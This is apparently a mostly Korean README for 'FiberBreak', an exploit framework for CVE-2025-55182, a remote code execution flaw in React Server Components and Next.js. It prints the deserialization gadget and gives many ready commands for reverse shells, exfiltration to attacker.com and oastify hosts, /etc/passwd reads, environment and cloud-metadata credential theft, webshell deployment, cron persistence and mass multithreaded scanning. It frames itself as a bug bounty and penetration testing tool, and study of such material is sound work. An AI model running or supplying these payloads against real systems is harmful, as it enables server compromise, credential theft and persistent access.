FiberBreak

CVE-2025-55182 (React2Shell)용 익스플로잇 프레임워크 - React Server Components의 치명적인 RCE 취약점입니다.

개요

• CVE: CVE-2025-55182
• CVSS: 10.0 (CRITICAL)
• 유형: 원격 코드 실행 (RCE)
• 영향 대상: React 19.0.0-rc.0 ~ 19.0.0, Next.js 15.0.0 ~ 15.0.3
• 발견자: Lachlan Miller (SonarSource)
• 공개 PoC: maple3142

설치

# Clone repository
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak

# Install dependencies
pip install -r requirements.txt

# Make executable
chmod +x fiberbreak.py

빠른 시작

# Build vulnerable testing environment
docker-compose up -d

# Wait for startup
sleep 20

# Test detection
./fiberbreak.py -u http://localhost:3000 detect

# Execute RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"

# Verify
docker exec react2shell-lab ls -la /tmp/

기술적 세부사항

취약점 개요

CVE-2025-55182는 React Server Components(RSC)에서 발생하는 치명적인 원격 코드 실행 취약점으로, 인증되지 않은 공격자가 서버에서 임의 코드를 실행할 수 있게 합니다.

근본 원인: React Flight 프로토콜은 적절한 검증 없이 신뢰할 수 없는 클라이언트 입력을 역직렬화하므로, 공격자가 JavaScript의 프로토타입 체인과 Function 생성자를 남용하는 악성 페이로드를 제작할 수 있습니다.

공격 벡터: 공격자는 Next-Action 헤더가 포함된 조작된 multipart/form-data POST 요청을 임의의 RSC 엔드포인트로 전송합니다. 악성 페이로드는 다음을 활용합니다:

1. __proto__ 접근을 통한 프로토타입 오염
2. constructor:constructor를 통한 Function 생성자 노출
3. 코드 실행을 트리거하는 Promise 해석

익스플로잇 흐름

1. Attacker sends crafted POST request
   └─ multipart/form-data with malicious JSON
   └─ Next-Action header (any value)

2. Server deserializes payload
   └─ React processes RSC chunk format
   └─ Resolves Promise-like object

3. Gadget chain triggers
   └─ __proto__ access bypasses hasOwnProperty checks
   └─ constructor:constructor exposes Function()
   └─ _prefix executes arbitrary code

4. RCE achieved
   └─ Server executes attacker's JavaScript
   └─ Full system compromise

가젯

{
  "then": "$1:__proto__:then",           // Prototype pollution
  "status": "resolved_model",            // Fake React internal state
  "reason": -1,                          // Trigger resolution
  "value": '{"then":"$B1337"}',         // Blob reference
  "_response": {
    "_prefix": "MALICIOUS_CODE_HERE;",   // Executed code
    "_formData": {
      "get": "$1:constructor:constructor" // Function() access
    }
  }
}

영향받는 코드 경로

// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
  const value = JSON.parse(chunk.value);
  
  // Missing validation here allows malicious chunks
  if (value && typeof value.then === 'function') {
    // Attacker controls 'then' method
    value.then(/* ... */);
  }
}

사용법

취약점 탐지

# Single target detection
./fiberbreak.py -u https://target.com detect

# Multiple targets from file
./fiberbreak.py -l targets.txt detect --threads 20

# Save results to JSON
./fiberbreak.py -l targets.txt detect -o results.json

# Disable SSL verification
./fiberbreak.py -u https://target.com detect --no-verify-ssl

기본 익스플로잇

# Simple blind command execution
./fiberbreak.py -u https://target.com exploit -c "whoami"

# Write file to disk
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pwned.txt:HACKED" -t write_file

# Read file contents
./fiberbreak.py -u https://target.com exploit \
  -c "/etc/passwd:https://attacker.com" -t file_read

고급 익스플로잇

# Reverse shell
./fiberbreak.py -u https://target.com exploit \
  -c "10.10.10.10:4444" -t reverse_shell

# DNS exfiltration (stealthy, no HTTP traffic)
./fiberbreak.py -u https://target.com exploit \
  -c "whoami:attacker.oastify.com" -t dns_exfil

# HTTP exfiltration with output
./fiberbreak.py -u https://target.com exploit \
  -c "id:https://attacker.com/exfil" -t http_exfil

# Environment variable dump
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

# System reconnaissance
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/recon" -t recon

# Stealth DNS beacon (no command output)
./fiberbreak.py -u https://target.com exploit \
  -c "attacker.oastify.com" -t stealth_beacon

클라우드 익스플로잇

# Auto-detect cloud provider and extract credentials
# Supports: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/cloud" -t cloud_metadata

페이로드 유형

유형	형식	설명	출력
simple	command	임의의 셸 명령 실행	블라인드
output	command + --callback	HTTP 콜백으로 실행	예
reverse_shell	lhost:lport	Bash 리버스 셸	대화형
dns_exfil	cmd:domain 또는 domain	DNS 유출	DNS 로그
http_exfil	cmd:callback_url	HTTP 유출	HTTP POST
file_read	filepath:callback	파일을 읽어 유출	HTTP POST
write_file	filepath:content	파일을 디스크에 작성	블라인드
env_dump	callback_url	환경 변수 덤프	HTTP POST
cloud_metadata	callback_url	클라우드 자격 증명 추출	HTTP POST
recon	callback_url	시스템 정찰	HTTP POST
stealth_beacon	domain	DNS 비콘	DNS 로그
webshell	filepath	Node.js 웹셸 배포	포트 8080
persist	callback_url	크론 지속성 설치	크론 작업

실제 시나리오

버그 바운티 헌팅

# 1. Stealthy detection with DNS beacon
./fiberbreak.py -u https://target.com exploit \
  -c "recon.yourburp.oastify.com" -t stealth_beacon

# 2. If vulnerable, extract sensitive data
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/exfil" -t env_dump

# 3. Check for cloud environment
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/cloud" -t cloud_metadata

# 4. Document findings without causing damage

침투 테스트

# Phase 1: Detection
./fiberbreak.py -u https://target.com detect -o detection.json

# Phase 2: Verification
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file

# Phase 3: Impact Assessment
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/impact" -t recon

# Phase 4: Credential Extraction (if cloud)
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/creds" -t cloud_metadata

# Phase 5: Interactive Access (if authorized)
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Get shell
./fiberbreak.py -u https://target.com exploit \
  -c "YOUR_IP:4444" -t reverse_shell

대규모 취약점 스캐닝

# Create target list
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF

# Scan all targets in parallel
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json

# Filter vulnerable targets
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'

# Generate report
cat scan_results.json | jq '{
  total: length,
  vulnerable: [.[] | select(.vulnerable==true)] | length,
  targets: [.[] | select(.vulnerable==true) | .url]
}'

클라우드 인프라 평가

# AWS EC2 Instance
./fiberbreak.py -u https://aws-app.com exploit \
  -c "https://attacker.com/aws" -t cloud_metadata

# Callback receives:
# - Instance ID, region, availability zone
# - IAM role name
# - Temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
# - User data
# - Network configuration

# GCP Compute Engine
./fiberbreak.py -u https://gcp-app.com exploit \
  -c "https://attacker.com/gcp" -t cloud_metadata

# Callback receives:
# - Project ID, instance name, zone
# - Service account email
# - OAuth2 access token
# - Available scopes

# Azure Virtual Machine
./fiberbreak.py -u https://azure-app.com exploit \
  -c "https://attacker.com/azure" -t cloud_metadata

# Callback receives:
# - Instance metadata
# - Managed identity OAuth2 token
# - Subscription information

익스플로잇 기법

기법 1: 블라인드 RCE 확인

# Create unique marker file
MARKER="pwned_$(date +%s)"
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/${MARKER}:proof" -t write_file